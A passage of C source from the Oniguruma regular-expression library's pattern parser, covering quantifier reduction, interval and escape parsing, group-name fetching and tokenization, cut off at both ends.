(q->lower == 0) { if (q->upper == 1) return 3; else if (IS_REPEAT_INFINITE(q->upper)) return 4; } else if (q->lower == 1) { if (IS_REPEAT_INFINITE(q->upper)) return 5; } } return -1; } enum ReduceType { RQ_ASIS = 0, /* as is */ RQ_DEL = 1, /* delete parent */ RQ_A, /* to '*' */ RQ_AQ, /* to '*?' */ RQ_QQ, /* to '??' */ RQ_P_QQ, /* to '+)??' */ RQ_PQ_Q /* to '+?)?' */ }; static enum ReduceType ReduceTypeTable[6][6] = { {RQ_DEL, RQ_A, RQ_A, RQ_QQ, RQ_AQ, RQ_ASIS}, /* '?' */ {RQ_DEL, RQ_DEL, RQ_DEL, RQ_P_QQ, RQ_P_QQ, RQ_DEL}, /* '*' */ {RQ_A, RQ_A, RQ_DEL, RQ_ASIS, RQ_P_QQ, RQ_DEL}, /* '+' */ {RQ_DEL, RQ_AQ, RQ_AQ, RQ_DEL, RQ_AQ, RQ_AQ}, /* '??' */ {RQ_DEL, RQ_DEL, RQ_DEL, RQ_DEL, RQ_DEL, RQ_DEL}, /* '*?' */ {RQ_ASIS, RQ_PQ_Q, RQ_DEL, RQ_AQ, RQ_AQ, RQ_DEL} /* '+?' */ }; extern void onig_reduce_nested_quantifier(Node* pnode, Node* cnode) { int pnum, cnum; QtfrNode *p, *c; p = NQTFR(pnode); c = NQTFR(cnode); pnum = popular_quantifier_num(p); cnum = popular_quantifier_num(c); if (pnum < 0 || cnum < 0) return ; switch(ReduceTypeTable[cnum][pnum]) { case RQ_DEL: *pnode = *cnode; break; case RQ_A: p->target = c->target; p->lower = 0; p->upper = REPEAT_INFINITE; p->greedy = 1; break; case RQ_AQ: p->target = c->target; p->lower = 0; p->upper = REPEAT_INFINITE; p->greedy = 0; break; case RQ_QQ: p->target = c->target; p->lower = 0; p->upper = 1; p->greedy = 0; break; case RQ_P_QQ: p->target = cnode; p->lower = 0; p->upper = 1; p->greedy = 0; c->lower = 1; c->upper = REPEAT_INFINITE; c->greedy = 1; return ; break; case RQ_PQ_Q: p->target = cnode; p->lower = 0; p->upper = 1; p->greedy = 1; c->lower = 1; c->upper = REPEAT_INFINITE; c->greedy = 0; return ; break; case RQ_ASIS: p->target = cnode; return ; break; } c->target = NULL_NODE; onig_node_free(cnode); } enum TokenSyms { TK_EOT = 0, /* end of token */ TK_RAW_BYTE = 1, TK_CHAR, TK_STRING, TK_CODE_POINT, TK_ANYCHAR, TK_CHAR_TYPE, TK_BACKREF, TK_CALL, TK_ANCHOR, TK_OP_REPEAT, TK_INTERVAL, TK_ANYCHAR_ANYTIME, /* SQL '%' == .* */ TK_ALT, TK_SUBEXP_OPEN, TK_SUBEXP_CLOSE, TK_CC_OPEN, TK_QUOTE_OPEN, TK_CHAR_PROPERTY, /* \p{...}, \P{...} */ /* in cc */ TK_CC_CLOSE, TK_CC_RANGE, TK_POSIX_BRACKET_OPEN, TK_CC_AND, /* && */ TK_CC_CC_OPEN /* [ */ }; typedef struct { enum TokenSyms type; int escaped; int base; /* is number: 8, 16 (used in [....]) */ UChar* backp; union { UChar* s; int c; OnigCodePoint code; int anchor; int subtype; struct { int lower; int upper; int greedy; int possessive; } repeat; struct { int num; int ref1; int* refs; int by_name; #ifdef USE_BACKREF_WITH_LEVEL int exist_level; int level; /* \k<name+n> */ #endif } backref; struct { UChar* name; UChar* name_end; int gnum; } call; struct { int ctype; int not; } prop; } u; } OnigToken; static int fetch_range_quantifier(UChar** src, UChar* end, OnigToken* tok, ScanEnv* env) { int low, up, syn_allow, non_low = 0; int r = 0; OnigCodePoint c; OnigEncoding enc = env->enc; UChar* p = *src; PFETCH_READY; syn_allow = IS_SYNTAX_BV(env->syntax, ONIG_SYN_ALLOW_INVALID_INTERVAL); if (PEND) { if (syn_allow) return 1; /* "....{" : OK! */ else return ONIGERR_END_PATTERN_AT_LEFT_BRACE; /* "....{" syntax error */ } if (! syn_allow) { c = PPEEK; if (c == ')' || c == '(' || c == '|') { return ONIGERR_END_PATTERN_AT_LEFT_BRACE; } } low = onig_scan_unsigned_number(&p, end, env->enc); if (low < 0) return ONIGERR_TOO_BIG_NUMBER_FOR_REPEAT_RANGE; if (low > ONIG_MAX_REPEAT_NUM) return ONIGERR_TOO_BIG_NUMBER_FOR_REPEAT_RANGE; if (p == *src) { /* can't read low */ if (IS_SYNTAX_BV(env->syntax, ONIG_SYN_ALLOW_INTERVAL_LOW_ABBREV)) { /* allow {,n} as {0,n} */ low = 0; non_low = 1; } else goto invalid; } if (PEND) goto invalid; PFETCH(c); if (c == ',') { UChar* prev = p; up = onig_scan_unsigned_number(&p, end, env->enc); if (up < 0) return ONIGERR_TOO_BIG_NUMBER_FOR_REPEAT_RANGE; if (up > ONIG_MAX_REPEAT_NUM) return ONIGERR_TOO_BIG_NUMBER_FOR_REPEAT_RANGE; if (p == prev) { if (non_low != 0) goto invalid; up = REPEAT_INFINITE; /* {n,} : {n,infinite} */ } } else { if (non_low != 0) goto invalid; PUNFETCH; up = low; /* {n} : exact n times */ r = 2; /* fixed */ } if (PEND) goto invalid; PFETCH(c); if (IS_SYNTAX_OP(env->syntax, ONIG_SYN_OP_ESC_BRACE_INTERVAL)) { if (c != MC_ESC(env->syntax)) goto invalid; PFETCH(c); } if (c != '}') goto invalid; if (!IS_REPEAT_INFINITE(up) && low > up) { return ONIGERR_UPPER_SMALLER_THAN_LOWER_IN_REPEAT_RANGE; } tok->type = TK_INTERVAL; tok->u.repeat.lower = low; tok->u.repeat.upper = up; *src = p; return r; /* 0: normal {n,m}, 2: fixed {n} */ invalid: if (syn_allow) { /* *src = p; */ /* !!! Don't do this line !!! */ return 1; /* OK */ } else return ONIGERR_INVALID_REPEAT_RANGE_PATTERN; } /* \M-, \C-, \c, or \... */ static int fetch_escaped_value(UChar** src, UChar* end, ScanEnv* env, OnigCodePoint* val) { int v; OnigCodePoint c; OnigEncoding enc = env->enc; UChar* p = *src; if (PEND) return ONIGERR_END_PATTERN_AT_ESCAPE; PFETCH_S(c); switch (c) { case 'M': if (IS_SYNTAX_OP2(env->syntax, ONIG_SYN_OP2_ESC_CAPITAL_M_BAR_META)) { if (PEND) return ONIGERR_END_PATTERN_AT_META; PFETCH_S(c); if (c != '-') return ONIGERR_META_CODE_SYNTAX; if (PEND) return ONIGERR_END_PATTERN_AT_META; PFETCH_S(c); if (c == MC_ESC(env->syntax)) { v = fetch_escaped_value(&p, end, env, &c); if (v < 0) return v; } c = ((c & 0xff) | 0x80); } else goto backslash; break; case 'C': if (IS_SYNTAX_OP2(env->syntax, ONIG_SYN_OP2_ESC_CAPITAL_C_BAR_CONTROL)) { if (PEND) return ONIGERR_END_PATTERN_AT_CONTROL; PFETCH_S(c); if (c != '-') return ONIGERR_CONTROL_CODE_SYNTAX; goto control; } else goto backslash; case 'c': if (IS_SYNTAX_OP(env->syntax, ONIG_SYN_OP_ESC_C_CONTROL)) { control: if (PEND) return ONIGERR_END_PATTERN_AT_CONTROL; PFETCH_S(c); if (c == '?') { c = 0177; } else { if (c == MC_ESC(env->syntax)) { v = fetch_escaped_value(&p, end, env, &c); if (v < 0) return v; } c &= 0x9f; } break; } /* fall through */ default: { backslash: c = conv_backslash_value(c, env); } break; } *src = p; *val = c; return 0; } static int fetch_token(OnigToken* tok, UChar** src, UChar* end, ScanEnv* env); static OnigCodePoint get_name_end_code_point(OnigCodePoint start) { switch (start) { case '<': return (OnigCodePoint )'>'; break; case '\'': return (OnigCodePoint )'\''; break; default: break; } return (OnigCodePoint )0; } #ifdef USE_NAMED_GROUP #ifdef USE_BACKREF_WITH_LEVEL /* \k<name+n>, \k<name-n> \k<num+n>, \k<num-n> \k<-num+n>, \k<-num-n> */ static int fetch_name_with_level(OnigCodePoint start_code, UChar** src, UChar* end, UChar** rname_end, ScanEnv* env, int* rback_num, int* rlevel) { int r, sign, is_num, exist_level; OnigCodePoint end_code; OnigCodePoint c = 0; OnigEncoding enc = env->enc; UChar *name_end; UChar *pnum_head; UChar *p = *src; PFETCH_READY; *rback_num = 0; is_num = exist_level = 0; sign = 1; pnum_head = *src; end_code = get_name_end_code_point(start_code); name_end = end; r = 0; if (PEND) { return ONIGERR_EMPTY_GROUP_NAME; } else { PFETCH(c); if (c == end_code) return ONIGERR_EMPTY_GROUP_NAME; if (ONIGENC_IS_CODE_DIGIT(enc, c)) { is_num = 1; } else if (c == '-') { is_num = 2; sign = -1; pnum_head = p; } else if (!ONIGENC_IS_CODE_WORD(enc, c)) { r = ONIGERR_INVALID_CHAR_IN_GROUP_NAME; } } while (!PEND) { name_end = p; PFETCH(c); if (c == end_code || c == ')' || c == '+' || c == '-') { if (is_num == 2) r = ONIGERR_INVALID_GROUP_NAME; break; } if (is_num != 0) { if (ONIGENC_IS_CODE_DIGIT(enc, c)) { is_num = 1; } else { r = ONIGERR_INVALID_GROUP_NAME; is_num = 0; } } else if (!ONIGENC_IS_CODE_WORD(enc, c)) { r = ONIGERR_INVALID_CHAR_IN_GROUP_NAME; } } if (r == 0 && c != end_code) { if (c == '+' || c == '-') { int level; int flag = (c == '-' ? -1 : 1); if (PEND) { r = ONIGERR_INVALID_CHAR_IN_GROUP_NAME; goto end; } PFETCH(c); if (! ONIGENC_IS_CODE_DIGIT(enc, c)) goto err; PUNFETCH; level = onig_scan_unsigned_number(&p, end, enc); if (level < 0) return ONIGERR_TOO_BIG_NUMBER; *rlevel = (level * flag); exist_level = 1; if (!PEND) { PFETCH(c); if (c == end_code) goto end; } } err: r = ONIGERR_INVALID_GROUP_NAME; name_end = end; } end: if (r == 0) { if (is_num != 0) { *rback_num = onig_scan_unsigned_number(&pnum_head, name_end, enc); if (*rback_num < 0) return ONIGERR_TOO_BIG_NUMBER; else if (*rback_num == 0) goto err; *rback_num *= sign; } *rname_end = name_end; *src = p; return (exist_level ? 1 : 0); } else { onig_scan_env_set_error_string(env, r, *src, name_end); return r; } } #endif /* USE_BACKREF_WITH_LEVEL */ /* ref: 0 -> define name (don't allow number name) 1 -> reference name (allow number name) */ static int fetch_name(OnigCodePoint start_code, UChar** src, UChar* end, UChar** rname_end, ScanEnv* env, int* rback_num, int ref) { int r, is_num, sign; OnigCodePoint end_code; OnigCodePoint c = 0; OnigEncoding enc = env->enc; UChar *name_end; UChar *pnum_head; UChar *p = *src; *rback_num = 0; end_code = get_name_end_code_point(start_code); name_end = end; pnum_head = *src; r = 0; is_num = 0; sign = 1; if (PEND) { return ONIGERR_EMPTY_GROUP_NAME; } else { PFETCH_S(c); if (c == end_code) return ONIGERR_EMPTY_GROUP_NAME; if (ONIGENC_IS_CODE_DIGIT(enc, c)) { if (ref == 1) is_num = 1; else { r = ONIGERR_INVALID_GROUP_NAME; is_num = 0; } } else if (c == '-') { if (ref == 1) { is_num = 2; sign = -1; pnum_head = p; } else { r = ONIGERR_INVALID_GROUP_NAME; is_num = 0; } } else if (!ONIGENC_IS_CODE_WORD(enc, c)) { r = ONIGERR_INVALID_CHAR_IN_GROUP_NAME; } } if (r == 0) { while (!PEND) { name_end = p; PFETCH_S(c); if (c == end_code || c == ')') { if (is_num == 2) r = ONIGERR_INVALID_GROUP_NAME; break; } if (is_num != 0) { if (ONIGENC_IS_CODE_DIGIT(enc, c)) { is_num = 1; } else { if (!ONIGENC_IS_CODE_WORD(enc, c)) r = ONIGERR_INVALID_CHAR_IN_GROUP_NAME; else r = ONIGERR_INVALID_GROUP_NAME; is_num = 0; } } else { if (!ONIGENC_IS_CODE_WORD(enc, c)) { r = ONIGERR_INVALID_CHAR_IN_GROUP_NAME; } } } if (c != end_code) { r = ONIGERR_INVALID_GROUP_NAME; name_end = end; } if (is_num != 0) { *rback_num = onig_scan_unsigned_number(&pnum_head, name_end, enc); if (*rback_num < 0) return ONIGERR_TOO_BIG_NUMBER; else if (*rback_num == 0) { r = ONIGERR_INVALID_GROUP_NAME; goto err; } *rback_num *= sign; } *rname_end = name_end; *src = p; return 0; } else { while (!PEND) { name_end = p; PFETCH_S(c); if (c == end_code || c == ')') break; } if (PEND) name_end = end; err: onig_scan_env_set_error_string(env, r, *src, name_end); return r; } } #else static int fetch_name(OnigCodePoint start_code, UChar** src, UChar* end, UChar** rname_end, ScanEnv* env, int* rback_num, int ref) { int r, is_num, sign; OnigCodePoint end_code; OnigCodePoint c = 0; UChar *name_end; OnigEncoding enc = env->enc; UChar *pnum_head; UChar *p = *src; PFETCH_READY; *rback_num = 0; end_code = get_name_end_code_point(start_code); *rname_end = name_end = end; r = 0; pnum_head = *src; is_num = 0; sign = 1; if (PEND) { return ONIGERR_EMPTY_GROUP_NAME; } else { PFETCH(c); if (c == end_code) return ONIGERR_EMPTY_GROUP_NAME; if (ONIGENC_IS_CODE_DIGIT(enc, c)) { is_num = 1; } else if (c == '-') { is_num = 2; sign = -1; pnum_head = p; } else { r = ONIGERR_INVALID_CHAR_IN_GROUP_NAME; } } while (!PEND) { name_end = p; PFETCH(c); if (c == end_code || c == ')') break; if (! ONIGENC_IS_CODE_DIGIT(enc, c)) r = ONIGERR_INVALID_CHAR_IN_GROUP_NAME; } if (r == 0 && c != end_code) { r = ONIGERR_INVALID_GROUP_NAME; name_end = end; } if (r == 0) { *rback_num = onig_scan_unsigned_number(&pnum_head, name_end, enc); if (*rback_num < 0) return ONIGERR_TOO_BIG_NUMBER; else if (*rback_num == 0) { r = ONIGERR_INVALID_GROUP_NAME; goto err; } *rback_num *= sign; *rname_end = name_end; *src = p; return 0; } else { err: onig_scan_env_set_error_string(env, r, *src, name_end); return r; } } #endif /* USE_NAMED_GROUP */ static void CC_ESC_WARN(ScanEnv* env, UChar *c) { if (onig_warn == onig_null_warn) return ; if (IS_SYNTAX_BV(env->syntax, ONIG_SYN_WARN_CC_OP_NOT_ESCAPED) && IS_SYNTAX_BV(env->syntax, ONIG_SYN_BACKSLASH_ESCAPE_IN_CC)) { UChar buf[WARN_BUFSIZE]; onig_snprintf_with_pattern(buf, WARN_BUFSIZE, env->enc, env->pattern, env->pattern_end, (UChar* )"character class has '%s' without escape", c); (*onig_warn)((char* )buf); } } static void CLOSE_BRACKET_WITHOUT_ESC_WARN(ScanEnv* env, UChar* c) { if (onig_warn == onig_null_warn) return ; if (IS_SYNTAX_BV((env)->syntax, ONIG_SYN_WARN_CC_OP_NOT_ESCAPED)) { UChar buf[WARN_BUFSIZE]; onig_snprintf_with_pattern(buf, WARN_BUFSIZE, (env)->enc, (env)->pattern, (env)->pattern_end, (UChar* )"regular expression has '%s' without escape", c); (*onig_warn)((char* )buf); } } static UChar* find_str_position(OnigCodePoint s[], int n, UChar* from, UChar* to, UChar **next, OnigEncoding enc) { int i; OnigCodePoint x; UChar *q; UChar *p = from; while (p < to) { x = ONIGENC_MBC_TO_CODE(enc, p, to); q = p + enclen(enc, p); if (x == s[0]) { for (i = 1; i < n && q < to; i++) { x = ONIGENC_MBC_TO_CODE(enc, q, to); if (x != s[i]) break; q += enclen(enc, q); } if (i >= n) { if (IS_NOT_NULL(next)) *next = q; return p; } } p = q; } return NULL_UCHARP; } static int str_exist_check_with_esc(OnigCodePoint s[], int n, UChar* from, UChar* to, OnigCodePoint bad, OnigEncoding enc, OnigSyntaxType* syn) { int i, in_esc; OnigCodePoint x; UChar *q; UChar *p = from; in_esc = 0; while (p < to) { if (in_esc) { in_esc = 0; p += enclen(enc, p); } else { x = ONIGENC_MBC_TO_CODE(enc, p, to); q = p + enclen(enc, p); if (x == s[0]) { for (i = 1; i < n && q < to; i++) { x = ONIGENC_MBC_TO_CODE(enc, q, to); if (x != s[i]) break; q += enclen(enc, q); } if (i >= n) return 1; p += enclen(enc, p); } else { x = ONIGENC_MBC_TO_CODE(enc, p, to); if (x == bad) return 0; else if (x == MC_ESC(syn)) in_esc = 1; p = q; } } } return 0; } static int fetch_token_in_cc(OnigToken* tok, UChar** src, UChar* end, ScanEnv* env) { int num; OnigCodePoint c, c2; OnigSyntaxType* syn = env->syntax; OnigEncoding enc = env->enc; UChar* prev; UChar* p = *src; PFETCH_READY; if (PEND) { tok->type = TK_EOT; return tok->type; } PFETCH(c); tok->type = TK_CHAR; tok->base = 0; tok->u.c = c; tok->escaped = 0; if (c == ']') { tok->type = TK_CC_CLOSE; } else if (c == '-') { tok->type = TK_CC_RANGE; } else if (c == MC_ESC(syn)) { if (! IS_SYNTAX_BV(syn, ONIG_SYN_BACKSLASH_ESCAPE_IN_CC)) goto end; if (PEND) return ONIGERR_END_PATTERN_AT_ESCAPE; PFETCH(c); tok->escaped = 1; tok->u.c = c; switch (c) { case 'w': tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_WORD; tok->u.prop.not = 0; break; case 'W': tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_WORD; tok->u.prop.not = 1; break; case 'd': tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_DIGIT; tok->u.prop.not = 0; break; case 'D': tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_DIGIT; tok->u.prop.not = 1; break; case 's': tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_SPACE; tok->u.prop.not = 0; break; case 'S': tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_SPACE; tok->u.prop.not = 1; break; case 'h': if (! IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_H_XDIGIT)) break; tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_XDIGIT; tok->u.prop.not = 0; break; case 'H': if (! IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_H_XDIGIT)) break; tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_XDIGIT; tok->u.prop.not = 1; break; case 'p': case 'P': if (PEND) break; c2 = PPEEK; if (c2 == '{' && IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_P_BRACE_CHAR_PROPERTY)) { PINC; tok->type = TK_CHAR_PROPERTY; tok->u.prop.not = (c == 'P' ? 1 : 0); if (!PEND && IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_P_BRACE_CIRCUMFLEX_NOT)) { PFETCH(c2); if (c2 == '^') { tok->u.prop.not = (tok->u.prop.not == 0 ? 1 : 0); } else PUNFETCH; } } break; case 'x': if (PEND) break; prev = p; if (PPEEK_IS('{') && IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_X_BRACE_HEX8)) { PINC; num = scan_unsigned_hexadecimal_number(&p, end, 8, enc); if (num < 0) return ONIGERR_TOO_BIG_WIDE_CHAR_VALUE; if (!PEND) { c2 = PPEEK; if (ONIGENC_IS_CODE_XDIGIT(enc, c2)) return ONIGERR_TOO_LONG_WIDE_CHAR_VALUE; } if (p > prev + enclen(enc, prev) && !PEND && (PPEEK_IS('}'))) { PINC; tok->type = TK_CODE_POINT; tok->base = 16; tok->u.code = (OnigCodePoint )num; } else { /* can't read nothing or invalid format */ p = prev; } } else if (IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_X_HEX2)) { num = scan_unsigned_hexadecimal_number(&p, end, 2, enc); if (num < 0) return ONIGERR_TOO_BIG_NUMBER; if (p == prev) { /* can't read nothing. */ num = 0; /* but, it's not error */ } tok->type = TK_RAW_BYTE; tok->base = 16; tok->u.c = num; } break; case 'u': if (PEND) break; prev = p; if (IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_U_HEX4)) { num = scan_unsigned_hexadecimal_number(&p, end, 4, enc); if (num < 0) return ONIGERR_TOO_BIG_NUMBER; if (p == prev) { /* can't read nothing. */ num = 0; /* but, it's not error */ } tok->type = TK_CODE_POINT; tok->base = 16; tok->u.code = (OnigCodePoint )num; } break; case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': if (IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_OCTAL3)) { PUNFETCH; prev = p; num = scan_unsigned_octal_number(&p, end, 3, enc); if (num < 0 || num >= 256) return ONIGERR_TOO_BIG_NUMBER; if (p == prev) { /* can't read nothing. */ num = 0; /* but, it's not error */ } tok->type = TK_RAW_BYTE; tok->base = 8; tok->u.c = num; } break; default: PUNFETCH; num = fetch_escaped_value(&p, end, env, &c2); if (num < 0) return num; if (tok->u.c != c2) { tok->u.code = c2; tok->type = TK_CODE_POINT; } break; } } else if (c == '[') { if (IS_SYNTAX_OP(syn, ONIG_SYN_OP_POSIX_BRACKET) && (PPEEK_IS(':'))) { OnigCodePoint send[] = { (OnigCodePoint )':', (OnigCodePoint )']' }; tok->backp = p; /* point at '[' is read */ PINC; if (str_exist_check_with_esc(send, 2, p, end, (OnigCodePoint )']', enc, syn)) { tok->type = TK_POSIX_BRACKET_OPEN; } else { PUNFETCH; goto cc_in_cc; } } else { cc_in_cc: if (IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_CCLASS_SET_OP)) { tok->type = TK_CC_CC_OPEN; } else { CC_ESC_WARN(env, (UChar* )"["); } } } else if (c == '&') { if (IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_CCLASS_SET_OP) && !PEND && (PPEEK_IS('&'))) { PINC; tok->type = TK_CC_AND; } } end: *src = p; return tok->type; } static int fetch_token(OnigToken* tok, UChar** src, UChar* end, ScanEnv* env) { int r, num; OnigCodePoint c; OnigEncoding enc = env->enc; OnigSyntaxType* syn = env->syntax; UChar* prev; UChar* p = *src; PFETCH_READY; start: if (PEND) { tok->type = TK_EOT; return tok->type; } tok->type = TK_STRING; tok->base = 0; tok->backp = p; PFETCH(c); if (IS_MC_ESC_CODE(c, syn)) { if (PEND) return ONIGERR_END_PATTERN_AT_ESCAPE; tok->backp = p; PFETCH(c); tok->u.c = c; tok->escaped = 1; switch (c) { case '*': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_ASTERISK_ZERO_INF)) break; tok->type = TK_OP_REPEAT; tok->u.repeat.lower = 0; tok->u.repeat.upper = REPEAT_INFINITE; goto greedy_check; break; case '+': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_PLUS_ONE_INF)) break; tok->type = TK_OP_REPEAT; tok->u.repeat.lower = 1; tok->u.repeat.upper = REPEAT_INFINITE; goto greedy_check; break; case '?': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_QMARK_ZERO_ONE)) break; tok->type = TK_OP_REPEAT; tok->u.repeat.lower = 0; tok->u.repeat.upper = 1; greedy_check: if (!PEND && PPEEK_IS('?') && IS_SYNTAX_OP(syn, ONIG_SYN_OP_QMARK_NON_GREEDY)) { PFETCH(c); tok->u.repeat.greedy = 0; tok->u.repeat.possessive = 0; } else { possessive_check: if (!PEND && PPEEK_IS('+') && ((IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_PLUS_POSSESSIVE_REPEAT) && tok->type != TK_INTERVAL) || (IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_PLUS_POSSESSIVE_INTERVAL) && tok->type == TK_INTERVAL))) { PFETCH(c); tok->u.repeat.greedy = 1; tok->u.repeat.possessive = 1; } else { tok->u.repeat.greedy = 1; tok->u.repeat.possessive = 0; } } break; case '{': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_BRACE_INTERVAL)) break; r = fetch_range_quantifier(&p, end, tok, env); if (r < 0) return r; /* error */ if (r == 0) goto greedy_check; else if (r == 2) { /* {n} */ if (IS_SYNTAX_BV(syn, ONIG_SYN_FIXED_INTERVAL_IS_GREEDY_ONLY)) goto possessive_check; goto greedy_check; } /* r == 1 : normal char */ break; case '|': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_VBAR_ALT)) break; tok->type = TK_ALT; break; case '(': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_LPAREN_SUBEXP)) break; tok->type = TK_SUBEXP_OPEN; break; case ')': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_LPAREN_SUBEXP)) break; tok->type = TK_SUBEXP_CLOSE; break; case 'w': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_W_WORD)) break; tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_WORD; tok->u.prop.not = 0; break; case 'W': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_W_WORD)) break; tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_WORD; tok->u.prop.not = 1; break; case 'b': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_B_WORD_BOUND)) break; tok->type = TK_ANCHOR; tok->u.anchor = ANCHOR_WORD_BOUND; break; case 'B': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_B_WORD_BOUND)) break; tok->type = TK_ANCHOR; tok->u.anchor = ANCHOR_NOT_WORD_BOUND; break; #ifdef USE_WORD_BEGIN_END case '<': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_LTGT_WORD_BEGIN_END)) break; tok->type = TK_ANCHOR; tok->u.anchor = ANCHOR_WORD_BEGIN; break; case '>': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_LTGT_WORD_BEGIN_END)) break; tok->type = TK_ANCHOR; tok->u.anchor = ANCHOR_WORD_END; break; #endif case 's': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_S_WHITE_SPACE)) break; tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_SPACE; tok->u.prop.not = 0; break; case 'S': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_S_WHITE_SPACE)) break; tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_SPACE; tok->u.prop.not = 1; break; case 'd': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_D_DIGIT)) break; tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_DIGIT; tok->u.prop.not = 0; break; case 'D': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_D_DIGIT)) break; tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_DIGIT; tok->u.prop.not = 1; break; case 'h': if (! IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_H_XDIGIT)) break; tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_XDIGIT; tok->u.prop.not = 0; break; case 'H': if (! IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_H_XDIGIT)) break; tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_XDIGIT; tok->u.prop.not = 1; break; case 'A': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_AZ_BUF_ANCHOR)) break; begin_buf: tok->type = TK_ANCHOR; tok->u.subtype = ANCHOR_BEGIN_BUF; break; case 'Z': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_AZ_BUF_ANCHOR)) break; tok->type = TK_ANCHOR; tok->u.subtype = ANCHOR_SEMI_END_BUF; break; case 'z': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_AZ_BUF_ANCHOR)) break; end_buf: tok->type = TK_ANCHOR; tok->u.subtype = ANCHOR_END_BUF; break; case 'G': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_CAPITAL_G_BEGIN_ANCHOR)) break; tok->type = TK_ANCHOR; tok->u.subtype = ANCHOR_BEGIN_POSITION; break; case '`': if (! IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_GNU_BUF_ANCHOR)) break; goto begin_buf; break; case '\'': if (! IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_GNU_BUF_ANCHOR)) break; goto end_buf; break; case 'x': if (PEND) break; prev = p; if (PPEEK_IS('{') && IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_X_BRACE_HEX8)) { PINC; num = scan_unsigned_hexadecimal_number(&p, end, 8, enc); if (num < 0) return ONIGERR_TOO_BIG_WIDE_CHAR_VALUE; if (!PEND) { if (ONIGENC_IS_CODE_XDIGIT(enc, PPEEK)) return ONIGERR_TOO_LONG_WIDE_CHAR_VALUE; } if ((p > prev + enclen(enc, prev)) && !PEND && PPEEK_IS('}')) { PINC; tok->type = TK_CODE_POINT; tok->u.code = (OnigCodePoint )num; } else { /* can't read nothing or invalid format */ p = prev; } } else if (IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_X_HEX2)) { num = scan_unsigned_hexadecimal_number(&p, end, 2, enc); if (num < 0) return ONIGERR_TOO_BIG_NUMBER; if (p == prev) { /* can't read nothing. */ num = 0; /* but, it's not error */ } tok->type = TK_RAW_BYTE; tok->base = 16; tok->u.c = num; } break; case 'u': if (PEND) break; prev = p; if (IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_U_HEX4)) { num = scan_unsigned_hexadecimal_number(&p, end, 4, enc); if (num < 0) return ONIGERR_TOO_BIG_NUMBER; if (p == prev) { /* can't read nothing. */ num = 0; /* but, it's not error */ } tok->type = TK_CODE_POINT; tok->base = 16; tok->u.code = (OnigCodePoint )num; } break; case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': PUNFETCH; prev = p; num = onig_scan_unsigned_number(&p, end, enc); if (num < 0 || num > ONIG_MAX_BACKREF_NUM) { goto skip_backref; } if (IS_SYNTAX_OP(syn, ONIG_SYN_OP_DECIMAL_BACKREF) && (num <= env->num_mem || num <= 9)) { /* This spec. from GNU regex */ if (IS_SYNTAX_BV(syn, ONIG_SYN_STRICT_CHECK_BACKREF)) { if (num > env->num_mem || IS_NULL(SCANENV_MEM_NODES(env)[num])) return ONIGERR_INVALID_BACKREF; } tok->type = TK_BACKREF; 